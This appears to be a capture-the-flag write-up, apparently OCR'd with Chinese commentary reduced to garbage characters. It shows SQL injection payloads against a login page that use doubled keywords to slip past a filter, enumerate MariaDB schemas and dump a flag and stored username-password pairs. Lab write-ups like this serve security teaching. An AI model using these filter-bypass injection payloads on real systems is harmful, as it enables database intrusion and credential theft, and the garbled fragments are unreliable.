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?Pusername=admin&password=pwd %27

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use
near '1=1 " at line 1

BHor, RE1=1, orfiidi€ T
?Pusername=admin&password=pwd %27 oorr 1=1 %23

Hello admin !
Your password is ‘09e6f2bc1ee446ef66b91bf09f58d0d4”’

byt # it T

?username=admin&password=pwd %27 oorrder bbyy 3 %23

NO,Wrong username password! ! !



?Pusername=admin&password=pwd %27 oorrder bbyy 4 %23

Unknown column ‘4’ in ‘order clause’

AEATR

username=admin&password=pwd ' union select 1 #

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use
near '1 ” atline 1

RUET1# LA 2] T unionflselect
X E geit

username=admin&password=pwd ' ununionion seselectlect 1 #

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use
near *’ at line 1

Tithackbar, ERMUHE, #7E% BB FHURLGIDR%23 , 5 AT !
(NRIBREE, UARTFEAEuriE#Eok? 2 2 )

username=admin&password=pwd %27 ununionion seselectlect 1 %23

The used SELECT statements have a different number of columns

FIEARE

username=admin&password=pwd %27 ununionion seselectlect 1,2,3

Hello 2!
Your password is ‘3’

username=admin&password=pwd %27 ununionion seselectlect 1,2,version() %23

Hello 2!
Your password is “10.3.18-MariaDB’

username=admin&password=pwd %27 ununionion seselectlect 1,2,database() %23

Hello 2!
Your password is ‘geek

93

Pusername=admin&password=pwd %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom

(infoorrmation_schema.schemata) %23



Hello 2!
Your password is
‘information_schema,mysql,performance_schema,test,ctf,geek’

?Pusername=admin&password=pwd %27 ununionion seselectlect 1,2,

group_concat(table_name)from(information_schema.tables)whwhereere table_schema="geek" %23

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use
near ‘(infinfmationmation_schema.tables)where table_schema=“geek” #” at line 1

informationt it & 7 or

Pusername=admin&password=pwd %27 ununionion seselectlect 1,2,

group_concat(table_name)frfromom(infoorrmation_schema.tables)

whwhereere table_schema="geek" %23

Hello 2!
Your password is ‘b4bsql,geekuser’

Pusername=admin&password=pwd %27 ununionion seselectlect 1,2,

group_concat(table_name)frfromom(infoorrmation_schema.tables)

whwhereere table_schema="ctf" %23

Hello 2!
Your password is ‘Flag’

?Pusername=admin&password=pwd %27 ununionion seselectlect 1,2,

group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere
table_name="Flag"%23

Hello 2!
Your password is ‘flag’

T ctfE ) Flag# Kflagll

?username=admin&password=pwd %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)%23

Hello 2!
Your password is ‘flag{d3a1f578-e00b-47d4-96b4-9535be15f9de}



?username=admin&password=pwd ' ununionion seselectlect 1,2,group concat(table name) frfromom infoorrmation_ schem

@.columns whwhereere table_schema = 'geek' %23

Hello 2!
Your password is ‘b4bsql,b4bsql,b4bsql,geekuser,geekuser,geekuser’

?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(distinct table_name) frfromom infoorrmat

ion_schema.columns whwhereere table_schema = 'geek' %23

Hello 2!
Your password is ‘b4bsql,geekuser’

=]l

?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(distinct column_name) frfromom infoorrm

ation_schema.columns whwhereere table_name = 'b4bsql'%23

Hello 2!
Your password is ‘id,username,password’

?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(distinct column_name) frfromom infoorrm

ation_schema.columns whwhereere table_name = 'b4bsql'%23

Hello 2!
Your password is ‘id,username,password’

Pusername=1&password=pwd’ uniunionon selselectect 1,username,passwoorrd frfromom b4dbsql %23

Hello cl4y!
Your password is ‘i_want_to_play 2077

ununionion seselectlect 1,2,group_concat(id,®x3a,username,®x3a,passwoorrd) frofro

?Pusername=admin&password=pwd
mm b4bsql %23

Hello 2!

Your password is

“1:cldy:i_want_to_play 2077,2:sql:sql_injection_is_so_fun,3:porn:do_you_know_pornhub,4:git:github_is_different_from_pornhub,5:Stop
:you_found_flag_so_stop,6:badguy:i_told_you_to_stop,7:hacker:hack_by cldy,8:flag:flag{d3a1f578-e00b-47d4-96b4-9535be15f9de}’
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